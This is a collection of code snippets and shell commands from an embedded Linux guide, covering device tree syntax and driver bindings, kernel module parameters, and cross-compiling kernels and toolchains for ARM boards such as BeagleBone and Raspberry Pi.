/* Spinlock: Cannot sleep, short critical sections */
spin_lock(&priv->lock);
/* ... */
spin_unlock(&priv->lock);

/* Spinlock with IRQ disable (accessed from IRQ) */
unsigned long flags;
spin_lock_irqsave(&priv->lock, flags);
/* ... */
spin_unlock_irqrestore(&priv->lock, flags);

static int debug = 0;
module_param(debug, int, 0644);
MODULE_PARM_DESC(debug, "Enable debug output");

static char *mode = "auto";
module_param(mode, charp, 0444);
MODULE_PARM_DESC(mode, "Operating mode");

/* Use in code */
if (debug)
	pr_info("Debug mode enabled\n");

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name <your.email@example.com>");
MODULE_DESCRIPTION("Device driver for XYZ hardware");
MODULE_VERSION("1.0");
MODULE_ALIAS("platform:my-device");

+-----------------+
|   Bootloader    |
|   (U-Boot)      |
+-----------------+
        |
        | Passes DTB
        v
+-----------------+
|  Linux Kernel   |
+-----------------+
        |
        | Parses DT
        v
+-----------------+
| Device Drivers  |
+-----------------+

/* ARM board file - arch/arm/mach-vendor/board-xyz.c */
static struct platform_device uart0 = {
	.name = "vendor-uart",
	.id = 0,
	.resource = {
		.start = 0x44e09000,
		.end = 0x44e09fff,
		.flags = IORESOURCE_MEM,
	},
	.dev = {
		.platform_data = &uart0_data,
	},
};

platform_device_register(&uart0);

uart0: serial@44e09000 {
	compatible = "vendor,uart";
	reg = <0x44e09000 0x1000>;
	interrupts = <72>;
	clock-frequency = <48000000>;
};

/ {
	model = "Vendor Board XYZ";
	compatible = "vendor,board-xyz";

	cpus {
		cpu@0 {
			compatible = "arm,cortex-a8";
			device_type = "cpu";
			reg = <0>;
		};
	};

	memory@80000000 {
		device_type = "memory";
		reg = <0x80000000 0x20000000>;  /* 512MB */
	};

	soc {
		compatible = "simple-bus";
		#address-cells = <1>;
		#size-cells = <1>;
		ranges;

		uart0: serial@44e09000 {
			compatible = "vendor,uart";
			reg = <0x44e09000 0x1000>;
		};
	};
};

/* Comments use C-style syntax */

/ {
	/* Root node - always present */

	node-name {
		/* Properties */
		property-name = "string value";
		another-property = <0x12345678>;
		multi-value = <0x1 0x2 0x3>;
		boolean-property;  /* Presence indicates true */
	};

	node@unit-address {
		/* Node with unit address */
		reg = <0x12340000 0x1000>;
	};
};

/ {
	/* String */
	model = "Vendor Board XYZ";

	/* String list */
	compatible = "vendor,board-xyz", "vendor,board";

	/* 32-bit unsigned integers (cells) */
	reg = <0x44e09000 0x1000>;

	/* Multiple cells */
	interrupts = <0 72 4>;

	/* Boolean (empty property) */
	dma-coherent;

	/* Byte sequence */
	mac-address = [00 11 22 33 44 55];

	/* Mixed */
	property = "string", <0x1234>, [AB CD];

	/* Phandle reference */
	interrupt-parent = <&intc>;
	clocks = <&osc 0>;
};

/ {
	#address-cells = <1>;  /* Address takes 1 cell (32-bit) */
	#size-cells = <1>;     /* Size takes 1 cell */

	soc {
		#address-cells = <1>;
		#size-cells = <1>;

		/* reg = <address size> */
		uart0: serial@44e09000 {
			reg = <0x44e09000 0x1000>;
		};
	};
};

/ {
	#address-cells = <2>;  /* 64-bit addressing */
	#size-cells = <2>;

	memory@0 {
		/* reg = <address-high address-low size-high size-low> */
		reg = <0x00000000 0x80000000 0x00000000 0x40000000>;
	};
};

/ {
	/* Define label */
	intc: interrupt-controller@48200000 {
		compatible = "arm,gic";
		reg = <0x48200000 0x1000>;
		interrupt-controller;
		#interrupt-cells = <3>;
	};

	uart0: serial@44e09000 {
		compatible = "vendor,uart";
		/* Reference using phandle */
		interrupt-parent = <&intc>;
		interrupts = <0 72 4>;
		clocks = <&sysclk>;
	};
};

/* Include common definitions */
/include/ "vendor-common.dtsi"

/* Or using C preprocessor */
#include "vendor-common.dtsi"
#include <dt-bindings/gpio/gpio.h>

/ {
	compatible = "vendor,board";
};

/dts-v1/;

/ {
	model = "Vendor Development Board";
	compatible = "vendor,dev-board", "vendor,soc";

	#address-cells = <1>;
	#size-cells = <1>;

	chosen {
		bootargs = "console=ttyS0,115200 root=/dev/mmcblk0p2";
		stdout-path = "/serial@44e09000:115200n8";
	};

	memory@80000000 {
		device_type = "memory";
		reg = <0x80000000 0x40000000>;  /* 1GB */
	};

	cpus {
		#address-cells = <1>;
		#size-cells = <0>;

		cpu0: cpu@0 {
			compatible = "arm,cortex-a8";
			device_type = "cpu";
			reg = <0>;
			operating-points = <
				/* kHz    uV */
				1000000 1350000
				800000  1300000
				600000  1200000
			>;
			clock-latency = <300000>; /* 300 us */
		};
	};

	clocks {
		osc: oscillator {
			compatible = "fixed-clock";
			#clock-cells = <0>;
			clock-frequency = <24000000>;
		};

		sysclk: system-clock {
			compatible = "fixed-clock";
			#clock-cells = <0>;
			clock-frequency = <48000000>;
		};
	};

	soc {
		compatible = "simple-bus";
		#address-cells = <1>;
		#size-cells = <1>;
		ranges;

		intc: interrupt-controller@48200000 {
			compatible = "arm,cortex-a8-gic";
			interrupt-controller;
			#interrupt-cells = <3>;
			reg = <0x48200000 0x1000>,
			      <0x48210000 0x2000>;
		};

		uart0: serial@44e09000 {
			compatible = "vendor,uart", "ns16550a";
			reg = <0x44e09000 0x1000>;
			interrupt-parent = <&intc>;
			interrupts = <0 72 4>;
			clocks = <&sysclk>;
			clock-names = "uart";
			status = "okay";
		};

		i2c0: i2c@44e0b000 {
			compatible = "vendor,i2c";
			reg = <0x44e0b000 0x1000>;
			interrupts = <0 70 4>;
			#address-cells = <1>;
			#size-cells = <0>;
			clocks = <&sysclk>;
			status = "okay";

			/* I2C device */
			eeprom@50 {
				compatible = "atmel,24c256";
				reg = <0x50>;
				pagesize = <64>;
			};
		};

		gpio0: gpio@44e07000 {
			compatible = "vendor,gpio";
			reg = <0x44e07000 0x1000>;
			interrupts = <0 96 4>;
			gpio-controller;
			#gpio-cells = <2>;
			interrupt-controller;
			#interrupt-cells = <2>;
		};

		mmc0: mmc@48060000 {
			compatible = "vendor,mmc";
			reg = <0x48060000 0x1000>;
			interrupts = <0 64 4>;
			bus-width = <4>;
			cd-gpios = <&gpio0 6 0>;
			status = "okay";
		};
	};

	leds {
		compatible = "gpio-leds";

		led0 {
			label = "board:green:user0";
			gpios = <&gpio0 21 0>;
			linux,default-trigger = "heartbeat";
		};

		led1 {
			label = "board:green:user1";
			gpios = <&gpio0 22 0>;
			default-state = "off";
		};
	};

	regulators {
		compatible = "simple-bus";

		vdd_3v3: regulator@0 {
			compatible = "regulator-fixed";
			regulator-name = "vdd_3v3";
			regulator-min-microvolt = <3300000>;
			regulator-max-microvolt = <3300000>;
			regulator-always-on;
		};
	};
};

uart0: serial@44e09000 {
	/* Most specific first, generic last */
	compatible = "vendor,soc-uart", "vendor,uart", "ns16550a";
	...
};

static const struct of_device_id uart_of_match[] = {
	{ .compatible = "vendor,soc-uart", .data = &soc_uart_data },
	{ .compatible = "vendor,uart", .data = &generic_uart_data },
	{ .compatible = "ns16550a", .data = &ns16550_data },
	{ }
};
MODULE_DEVICE_TABLE(of, uart_of_match);

/* MMIO register range */
uart0: serial@44e09000 {
	reg = <0x44e09000 0x1000>;  /* Base address, size */
};

/* Multiple ranges */
intc: interrupt-controller@48200000 {
	reg = <0x48200000 0x1000>,   /* Distributor */
	      <0x48210000 0x2000>;   /* CPU interface */
};

/* I2C device */
eeprom@50 {
	reg = <0x50>;  /* I2C address */
};

/* SPI device */
flash@0 {
	reg = <0>;  /* Chip select 0 */
};

uart0: serial@44e09000 {
	status = "okay";     /* Enable */
};

uart1: serial@44e0a000 {
	status = "disabled"; /* Disable */
};

uart2: serial@44e0b000 {
	status = "fail";     /* Error detected */
};

uart0: serial@44e09000 {
	/* Parent interrupt controller */
	interrupt-parent = <&intc>;

	/* Interrupt specifier (format defined by parent) */
	/* For GIC: <type number flags> */
	interrupts = <0 72 4>;  /* SPI, IRQ 72, level-high */
};

/* Shared interrupt */
device@0 {
	interrupts = <0 50 4>;
	interrupt-names = "tx", "rx", "error";
};

uart0: serial@44e09000 {
	clocks = <&sysclk>, <&pclk>;
	clock-names = "uart", "apb_pclk";
};

/* Clock frequency for fixed clocks */
osc: oscillator {
	compatible = "fixed-clock";
	#clock-cells = <0>;
	clock-frequency = <24000000>;
};

device {
	/* GPIO specifier: <&controller pin flags> */
	reset-gpios = <&gpio0 15 GPIO_ACTIVE_LOW>;
	enable-gpios = <&gpio0 16 GPIO_ACTIVE_HIGH>;
};

#include <dt-bindings/gpio/gpio.h>
/* GPIO_ACTIVE_LOW, GPIO_ACTIVE_HIGH */

uart0: serial@44e09000 {
	dmas = <&dma 25>, <&dma 26>;
	dma-names = "tx", "rx";
};

/dts-v1/;

#include "vendor-soc.dtsi"

/ {
	model = "Vendor Board XYZ";
	compatible = "vendor,board-xyz", "vendor,soc";

	memory@80000000 {
		device_type = "memory";
		reg = <0x80000000 0x40000000>;
	};
};

/* Enable and configure UART0 */
&uart0 {
	status = "okay";
	pinctrl-names = "default";
	pinctrl-0 = <&uart0_pins>;
};

/* Disable UART1 (not used on this board) */
&uart1 {
	status = "disabled";
};

/* Add I2C devices */
&i2c0 {
	status = "okay";
	clock-frequency = <400000>;

	/* Board-specific I2C device */
	rtc@68 {
		compatible = "dallas,ds1307";
		reg = <0x68>;
	};
};

/* vendor-soc.dtsi */
/ {
	#address-cells = <1>;
	#size-cells = <1>;

	cpus {
		#address-cells = <1>;
		#size-cells = <0>;

		cpu@0 {
			compatible = "arm,cortex-a8";
			device_type = "cpu";
			reg = <0>;
		};
	};

	soc {
		compatible = "simple-bus";
		#address-cells = <1>;
		#size-cells = <1>;
		ranges;

		uart0: serial@44e09000 {
			compatible = "vendor,uart";
			reg = <0x44e09000 0x1000>;
			interrupts = <0 72 4>;
			clocks = <&sysclk>;
			status = "disabled";  /* Disabled by default */
		};

		uart1: serial@44e0a000 {
			compatible = "vendor,uart";
			reg = <0x44e0a000 0x1000>;
			interrupts = <0 73 4>;
			clocks = <&sysclk>;
			status = "disabled";
		};

		i2c0: i2c@44e0b000 {
			compatible = "vendor,i2c";
			reg = <0x44e0b000 0x1000>;
			interrupts = <0 70 4>;
			#address-cells = <1>;
			#size-cells = <0>;
			clocks = <&sysclk>;
			status = "disabled";
		};
	};
};

/* Base definition in .dtsi */
&uart0 {
	compatible = "vendor,uart";
	reg = <0x44e09000 0x1000>;
	status = "disabled";
};

/* Board-specific .dts */
&uart0 {
	status = "okay";
	pinctrl-names = "default";
	pinctrl-0 = <&uart0_pins>;
	/* Adds new properties while keeping existing ones */
};

/* Delete property */
&uart0 {
	/delete-property/ dmas;
	/delete-property/ dma-names;
};

/* Delete node */
&uart1 {
	/delete-node/ device@0;
};

# Compile .dts to .dtb
dtc -I dts -O dtb -o board.dtb board.dts

# With includes
dtc -I dts -O dtb -o board.dtb -i include_path board.dts

# Using C preprocessor
cpp -nostdinc -I include_path -undef -x assembler-with-cpp \
    board.dts board.preprocessed.dts
dtc -I dts -O dtb -o board.dtb board.preprocessed.dts

# Decompile .dtb to .dts
dtc -I dtb -O dts -o board.dts board.dtb

# With symbols for overlays
dtc -I dtb -O dts -o board.dts board.dtb -@

# In kernel Makefile
dtb-$(CONFIG_BOARD_XYZ) += board-xyz.dtb

# Build
make dtbs

# Output in: arch/arm/boot/dts/board-xyz.dtb

# Check syntax
dtc -I dts -O dtb -o /dev/null board.dts

# Validate against schema (Linux 5.4+)
make dt_binding_check
make dtbs_check

#include <linux/of.h>
#include <linux/of_device.h>

static int my_probe(struct platform_device *pdev)
{
	struct device *dev = &pdev->dev;
	struct device_node *np = dev->of_node;

	if (!np) {
		dev_err(dev, "No device tree node\n");
		return -ENODEV;
	}

	/* Node is available */
	return 0;
}

/* Read string */
const char *model;
if (of_property_read_string(np, "model", &model) == 0) {
	pr_info("Model: %s\n", model);
}

/* Read u32 */
u32 clock_freq;
if (of_property_read_u32(np, "clock-frequency", &clock_freq) == 0) {
	pr_info("Clock: %u Hz\n", clock_freq);
}

/* Read u32 array */
u32 values[3];
int count = of_property_read_u32_array(np, "interrupts", values, 3);

/* Read u64 */
u64 reg_base;
of_property_read_u64(np, "reg", &reg_base);

/* Check if property exists */
if (of_property_read_bool(np, "dma-coherent")) {
	pr_info("DMA coherent enabled\n");
}

/* Get memory resource */
struct resource *res;
res = platform_get_resource(pdev, IORESOURCE_MEM, 0);
if (!res)
	return -ENODEV;

void __iomem *base = devm_ioremap_resource(dev, res);
if (IS_ERR(base))
	return PTR_ERR(base);

/* Get IRQ */
int irq = platform_get_irq(pdev, 0);
if (irq < 0)
	return irq;

/* Get register address/size directly */
u64 addr, size;
of_property_read_u64_index(np, "reg", 0, &addr);
of_property_read_u64_index(np, "reg", 1, &size);

/* Get referenced node */
struct device_node *clk_np;
clk_np = of_parse_phandle(np, "clocks", 0);
if (!clk_np) {
	dev_err(dev, "No clock specified\n");
	return -EINVAL;
}

/* Get clock */
struct clk *clk = of_clk_get(np, 0);
if (IS_ERR(clk))
	return PTR_ERR(clk);

/* Or by name */
clk = of_clk_get_by_name(np, "uart");

#include <linux/of_gpio.h>

/* Get GPIO */
int reset_gpio = of_get_named_gpio(np, "reset-gpios", 0);
if (!gpio_is_valid(reset_gpio))
	return -EINVAL;

/* Request and configure */
devm_gpio_request_one(dev, reset_gpio, GPIOF_OUT_INIT_LOW, "reset");

/* Using GPIO descriptor API (preferred) */
#include <linux/gpio/consumer.h>

struct gpio_desc *reset_gpiod;
reset_gpiod = devm_gpiod_get(dev, "reset", GPIOD_OUT_LOW);
if (IS_ERR(reset_gpiod))
	return PTR_ERR(reset_gpiod);

gpiod_set_value(reset_gpiod, 1);

struct device_node *child;

for_each_child_of_node(np, child) {
	const char *name;
	u32 reg;

	of_property_read_string(child, "label", &name);
	of_property_read_u32(child, "reg", &reg);

	pr_info("Child: %s at 0x%x\n", name, reg);
}

#include <linux/module.h>
#include <linux/platform_device.h>
#include <linux/of.h>
#include <linux/of_device.h>
#include <linux/clk.h>
#include <linux/gpio/consumer.h>

struct my_device {
	void __iomem *base;
	struct clk *clk;
	int irq;
	struct gpio_desc *reset_gpio;
	u32 clock_freq;
};

static int my_probe(struct platform_device *pdev)
{
	struct device *dev = &pdev->dev;
	struct device_node *np = dev->of_node;
	struct my_device *priv;
	struct resource *res;
	int ret;

	priv = devm_kzalloc(dev, sizeof(*priv), GFP_KERNEL);
	if (!priv)
		return -ENOMEM;

	/* Get memory resource */
	res = platform_get_resource(pdev, IORESOURCE_MEM, 0);
	priv->base = devm_ioremap_resource(dev, res);
	if (IS_ERR(priv->base))
		return PTR_ERR(priv->base);

	/* Get IRQ */
	priv->irq = platform_get_irq(pdev, 0);
	if (priv->irq < 0)
		return priv->irq;

	/* Get clock */
	priv->clk = devm_clk_get(dev, "uart");
	if (IS_ERR(priv->clk)) {
		dev_err(dev, "Failed to get clock\n");
		return PTR_ERR(priv->clk);
	}

	/* Get GPIO */
	priv->reset_gpio = devm_gpiod_get_optional(dev, "reset", GPIOD_OUT_LOW);
	if (IS_ERR(priv->reset_gpio))
		return PTR_ERR(priv->reset_gpio);

	/* Read clock frequency */
	ret = of_property_read_u32(np, "clock-frequency", &priv->clock_freq);
	if (ret) {
		/* Use default if not specified */
		priv->clock_freq = 48000000;
	}

	/* Enable clock */
	ret = clk_prepare_enable(priv->clk);
	if (ret)
		return ret;

	/* Reset device */
	if (priv->reset_gpio) {
		gpiod_set_value(priv->reset_gpio, 1);
		msleep(10);
		gpiod_set_value(priv->reset_gpio, 0);
	}

	platform_set_drvdata(pdev, priv);

	dev_info(dev, "Device initialized (clock=%u Hz)\n", priv->clock_freq);
	return 0;
}

static int my_remove(struct platform_device *pdev)
{
	struct my_device *priv = platform_get_drvdata(pdev);

	clk_disable_unprepare(priv->clk);
	return 0;
}

static const struct of_device_id my_of_match[] = {
	{ .compatible = "vendor,my-device" },
	{ }
};
MODULE_DEVICE_TABLE(of, my_of_match);

static struct platform_driver my_driver = {
	.probe = my_probe,
	.remove = my_remove,
	.driver = {
		.name = "my-device",
		.of_match_table = my_of_match,
	},
};
module_platform_driver(my_driver);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
MODULE_DESCRIPTION("Device Tree Example Driver");

my_device: device@44e09000 {
	compatible = "vendor,my-device";
	reg = <0x44e09000 0x1000>;
	interrupts = <0 72 4>;
	clocks = <&sysclk>;
	clock-names = "uart";
	reset-gpios = <&gpio0 15 GPIO_ACTIVE_LOW>;
	clock-frequency = <48000000>;
};

&i2c0 {
	#address-cells = <1>;
	#size-cells = <0>;

	eeprom@50 {
		compatible = "atmel,24c256";
		reg = <0x50>;
		pagesize = <64>;
	};

	rtc@68 {
		compatible = "dallas,ds1307";
		reg = <0x68>;
		interrupts = <0 75 IRQ_TYPE_EDGE_FALLING>;
	};
};

&spi0 {
	#address-cells = <1>;
	#size-cells = <0>;

	flash@0 {
		compatible = "jedec,spi-nor";
		reg = <0>;  /* Chip select 0 */
		spi-max-frequency = <20000000>;

		partitions {
			compatible = "fixed-partitions";
			#address-cells = <1>;
			#size-cells = <1>;

			partition@0 {
				label = "bootloader";
				reg = <0x000000 0x100000>;
				read-only;
			};

			partition@100000 {
				label = "kernel";
				reg = <0x100000 0x400000>;
			};

			partition@500000 {
				label = "rootfs";
				reg = <0x500000 0xb00000>;
			};
		};
	};
};

regulators {
	compatible = "simple-bus";
	#address-cells = <1>;
	#size-cells = <0>;

	vdd_core: regulator@0 {
		compatible = "regulator-fixed";
		reg = <0>;
		regulator-name = "vdd_core";
		regulator-min-microvolt = <1200000>;
		regulator-max-microvolt = <1200000>;
		regulator-always-on;
		regulator-boot-on;
	};

	vdd_3v3: regulator@1 {
		compatible = "regulator-gpio";
		reg = <1>;
		regulator-name = "vdd_3v3";
		regulator-min-microvolt = <3300000>;
		regulator-max-microvolt = <3300000>;
		enable-gpio = <&gpio0 20 GPIO_ACTIVE_HIGH>;
		enable-active-high;
	};
};

/* Usage */
&uart0 {
	vdd-supply = <&vdd_3v3>;
};

pinctrl: pinctrl@44e10800 {
	compatible = "vendor,pinctrl";
	reg = <0x44e10800 0x1000>;

	uart0_pins: uart0_pins {
		pinctrl-single,pins = <
			0x170 (PIN_INPUT_PULLUP | MUX_MODE0)  /* uart0_rxd */
			0x174 (PIN_OUTPUT_PULLDOWN | MUX_MODE0) /* uart0_txd */
		>;
	};

	i2c0_pins: i2c0_pins {
		pinctrl-single,pins = <
			0x188 (PIN_INPUT_PULLUP | MUX_MODE0)   /* i2c0_sda */
			0x18c (PIN_INPUT_PULLUP | MUX_MODE0)   /* i2c0_scl */
		>;
	};
};

&uart0 {
	pinctrl-names = "default";
	pinctrl-0 = <&uart0_pins>;
};

&i2c0 {
	pinctrl-names = "default";
	pinctrl-0 = <&i2c0_pins>;
};

/dts-v1/;

/ {
	model = "ARM Versatile Express";
	compatible = "arm,vexpress";

	#address-cells = <1>;
	#size-cells = <1>;

	cpus {
		#address-cells = <1>;
		#size-cells = <0>;

		cpu@0 {
			device_type = "cpu";
			compatible = "arm,cortex-a9";
			reg = <0>;
		};

		cpu@1 {
			device_type = "cpu";
			compatible = "arm,cortex-a9";
			reg = <1>;
		};
	};
};

/dts-v1/;

/ {
	#address-cells = <2>;  /* 64-bit addressing */
	#size-cells = <2>;

	cpus {
		#address-cells = <1>;
		#size-cells = <0>;

		cpu@0 {
			device_type = "cpu";
			compatible = "arm,cortex-a57";
			reg = <0x0>;
			enable-method = "psci";
		};
	};

	memory@80000000 {
		device_type = "memory";
		reg = <0x0 0x80000000 0x0 0x80000000>; /* 2GB */
	};
};

/dts-v1/;

#include "bcm2835.dtsi"

/ {
	compatible = "raspberrypi,model-b", "brcm,bcm2835";
	model = "Raspberry Pi Model B";

	memory@0 {
		device_type = "memory";
		reg = <0 0x20000000>; /* 512 MB */
	};
};

&uart0 {
	status = "okay";
};

&i2c1 {
	status = "okay";
	clock-frequency = <100000>;
};

&sdhci {
	status = "okay";
	bus-width = <4>;
};

# View device tree in /proc
cat /proc/device-tree/model

# Or using dtc
dtc -I fs -O dts /proc/device-tree

# Better formatting
dtc -I fs -O dts -o /tmp/current.dts /proc/device-tree

# Navigate device tree in sysfs
ls /sys/firmware/devicetree/base/

# View property
cat /sys/firmware/devicetree/base/model

# View all properties of a node
ls -la /sys/firmware/devicetree/base/soc/serial@44e09000/

# Check device tree loading
dmesg | grep -i "device tree"
dmesg | grep -i "dtb"

# Check OF (Open Firmware) messages
dmesg | grep -i "of:"

/* In driver code */
static int my_probe(struct platform_device *pdev)
{
	struct device *dev = &pdev->dev;
	struct device_node *np = dev->of_node;

	dev_info(dev, "Device tree node: %pOF\n", np);
	dev_info(dev, "Compatible: %s\n",
		 of_get_property(np, "compatible", NULL));

	/* Print all properties */
	struct property *prop;
	for_each_property_of_node(np, prop) {
		dev_info(dev, "Property: %s\n", prop->name);
	}

	return 0;
}

# Check if device is in device tree
ls /sys/firmware/devicetree/base/soc/

# Check driver registration
ls /sys/bus/platform/drivers/

# Check devices without driver
cat /sys/kernel/debug/devices_deferred

/* Check driver's compatible strings */
static const struct of_device_id my_of_match[] = {
	{ .compatible = "vendor,device-v2" },  /* Try this first */
	{ .compatible = "vendor,device" },      /* Then this */
	{ }
};

compatible = "vendor,soc-uart-v2", "vendor,uart", "ns16550a";

/* In SoC .dtsi */
uart0: serial@44e09000 {
	status = "disabled";
};

/* In board .dts */
&uart0 {
	status = "okay";
};

uart0: serial@44e09000 { ... };

&uart0 {
	/* Override properties */
};

# Documentation/devicetree/bindings/serial/vendor-uart.yaml
title: Vendor UART Controller

properties:
  compatible:
    const: vendor,uart

  reg:
    maxItems: 1

  interrupts:
    maxItems: 1

/* Bad - IRQ already specified in interrupts */
uart0 {
	interrupts = <72>;
	irq-number = <72>;  /* Redundant */
};

/* Good */
uart0 {
	interrupts = <72>;
};

/* Bad - driver name is Linux-specific */
uart0 {
	linux,driver-name = "vendor-uart";
};

/* Good - use compatible */
uart0 {
	compatible = "vendor,uart";
};

/* Bad - hardcoded in driver */
#define UART_BASE 0x44e09000

/* Good - read from device tree */
res = platform_get_resource(pdev, IORESOURCE_MEM, 0);

/dts-v1/;

#include "am33xx.dtsi"

/ {
	model = "TI AM335x BeagleBone Black";
	compatible = "ti,am335x-bone-black", "ti,am335x-bone", "ti,am33xx";

	memory@80000000 {
		device_type = "memory";
		reg = <0x80000000 0x20000000>; /* 512 MB */
	};

	leds {
		compatible = "gpio-leds";
		pinctrl-names = "default";
		pinctrl-0 = <&user_leds_s0>;

		led0 {
			label = "beaglebone:green:usr0";
			gpios = <&gpio1 21 GPIO_ACTIVE_HIGH>;
			linux,default-trigger = "heartbeat";
			default-state = "off";
		};
	};
};

&uart0 {
	pinctrl-names = "default";
	pinctrl-0 = <&uart0_pins>;
	status = "okay";
};

&mmc1 {
	vmmc-supply = <&vmmcsd_fixed>;
	bus-width = <4>;
	status = "okay";
};

/dts-v1/;

#include "bcm2711.dtsi"

/ {
	compatible = "raspberrypi,4-model-b", "brcm,bcm2711";
	model = "Raspberry Pi 4 Model B";

	memory@0 {
		device_type = "memory";
		reg = <0x0 0x0 0x0 0x80000000>; /* 2GB */
	};

	aliases {
		serial0 = &uart0;
		serial1 = &uart1;
	};
};

&uart0 {
	pinctrl-names = "default";
	pinctrl-0 = <&uart0_gpio14>;
	status = "okay";
};

&i2c1 {
	pinctrl-names = "default";
	pinctrl-0 = <&i2c1_gpio2>;
	clock-frequency = <100000>;
	status = "okay";
};

┌─────────────────────┐         ┌─────────────────────┐
│   Host System       │         │   Target System     │
│   x86_64 Linux      │         │   ARM Cortex-A8     │
│   Development PC    │  ────>  │   Embedded Board    │
│                     │         │                     │
│ - Fast CPU          │         │ - Slow CPU          │
│ - Lots of RAM       │         │ - Limited RAM       │
│ - Large Storage     │         │ - Small Storage     │
└─────────────────────┘         └─────────────────────┘

# Building Linux kernel natively
$ time make -j4
real    120m0.000s   # 2 hours!

# Cross compiling same kernel
$ time make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- -j8
real    10m0.000s    # 10 minutes!

# Common architecture tuples
arm-linux-gnueabi         # ARM soft-float
arm-linux-gnueabihf       # ARM hard-float
aarch64-linux-gnu         # ARM 64-bit
mips-linux-gnu            # MIPS
mipsel-linux-gnu          # MIPS little-endian
powerpc-linux-gnu         # PowerPC
x86_64-w64-mingw32        # Windows 64-bit

# Ubuntu/Debian - ARM
sudo apt-get install gcc-arm-linux-gnueabihf g++-arm-linux-gnueabihf

# ARM64
sudo apt-get install gcc-aarch64-linux-gnu g++-aarch64-linux-gnu

# MIPS
sudo apt-get install gcc-mips-linux-gnu g++-mips-linux-gnu

# Verify installation
arm-linux-gnueabihf-gcc --version

# Download from Linaro
wget https://releases.linaro.org/components/toolchain/binaries/latest-7/arm-linux-gnueabihf/gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf.tar.xz

# Extract
tar xf gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf.tar.xz

# Add to PATH
export PATH=$PATH:$(pwd)/gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf/bin

# Test
arm-linux-gnueabihf-gcc --version

# Install crosstool-NG
git clone https://github.com/crosstool-ng/crosstool-ng
cd crosstool-ng
./bootstrap
./configure --prefix=/opt/crosstool-ng
make
sudo make install

# Add to PATH
export PATH=/opt/crosstool-ng/bin:$PATH

# Configure and build
ct-ng list-samples
ct-ng arm-unknown-linux-gnueabi
ct-ng menuconfig  # Configure as needed
ct-ng build

# Toolchain installed in ~/x-tools/arm-unknown-linux-gnueabi/

# Download Buildroot
wget https://buildroot.org/downloads/buildroot-2023.02.tar.gz
tar xf buildroot-2023.02.tar.gz
cd buildroot-2023.02

# Configure
make menuconfig
# Target options -> Target Architecture -> ARM
# Toolchain -> Build toolchain

# Build
make

# Toolchain in output/host/usr/bin/
export PATH=$PATH:$(pwd)/output/host/usr/bin

# Add to ~/.bashrc or ~/.zshrc
export CROSS_COMPILE=arm-linux-gnueabihf-
export ARCH=arm
export PATH=$PATH:/path/to/toolchain/bin

# Apply
source ~/.bashrc

# Create toolchain.env
cat > toolchain.env << 'EOF'
export CROSS_COMPILE=arm-linux-gnueabihf-
export ARCH=arm
export PATH=/opt/arm-toolchain/bin:$PATH
export SYSROOT=/opt/arm-sysroot
EOF

# Source when needed
source toolchain.env

# Check compiler
${CROSS_COMPILE}gcc --version
${CROSS_COMPILE}gcc -v

# Check target
${CROSS_COMPILE}gcc -dumpmachine
# Output: arm-linux-gnueabihf

# List all tools
ls -la $(dirname $(which ${CROSS_COMPILE}gcc))/${CROSS_COMPILE}*

# Get kernel source
git clone https://github.com/torvalds/linux.git
cd linux

# Clean
make mrproper

# Configure for ARM (example: Versatile Express)
make ARCH=arm vexpress_defconfig

# Or use menuconfig
make ARCH=arm menuconfig

# Build
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- -j$(nproc)

# Build specific targets
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- zImage
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- modules
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- dtbs

# Install modules to staging directory
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- \
     INSTALL_MOD_PATH=/path/to/rootfs modules_install

# Clone Raspberry Pi kernel
git clone --depth=1 https://github.com/raspberrypi/linux
cd linux

# Pi 1, Zero, Zero W (32-bit)
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- bcmrpi_defconfig

# Pi 2, 3, 4 (32-bit)
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- bcm2709_defconfig

# Pi 3, 4 (64-bit)
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- bcm2711_defconfig

# Build
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- zImage modules dtbs -j$(nproc)

# Install to SD card
export ROOTFS=/mnt/ext4
export BOOTFS=/mnt/fat32

# Install modules
sudo make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- \
     INSTALL_MOD_PATH=$ROOTFS modules_install

# Install kernel
sudo cp arch/arm/boot/zImage $BOOTFS/kernel7.img
sudo cp arch/arm/boot/dts/*.dtb $BOOTFS/
sudo cp arch/arm/boot/dts/overlays/*.dtb* $BOOTFS/overlays/

# Clone kernel
git clone https://github.com/beagleboard/linux.git
cd linux

# Checkout stable branch
git checkout 5.10

# Configure
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- bb.org_defconfig

# Build
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- zImage modules dtbs -j$(nproc)

# Create uImage (U-Boot format)
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- uImage \
     LOADADDR=0x80008000

# Install
sudo cp arch/arm/boot/uImage /media/$USER/BOOT/
sudo cp arch/arm/boot/dts/am335x-boneblack.dtb /media/$USER/BOOT/
sudo make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- \
     INSTALL_MOD_PATH=/media/$USER/rootfs modules_install

# Use existing config from target
scp user@target:/proc/config.gz .
zcat config.gz > .config
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- oldconfig

# Save custom config
make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- savedefconfig
cp defconfig arch/arm/configs/myboard_defconfig

# Enable specific features
./scripts/config --enable CONFIG_FEATURE_NAME
./scripts/config --disable CONFIG_FEATURE_NAME
./scripts/config --module CONFIG_FEATURE_NAME

/* hello.c */
#include <stdio.h>

int main(void)
{
	printf("Hello from %s!\n",
#ifdef __arm__
		"ARM"
#elif __aarch64__
		"ARM64"
#elif __mips__
		"MIPS"
#else
		"unknown"
#endif
	);
	return 0;
}

# Cross compile
arm-linux-gnueabihf-gcc hello.c -o hello

# Check architecture
file hello
# hello: ELF 32-bit LSB executable, ARM, version 1 (SYSV)

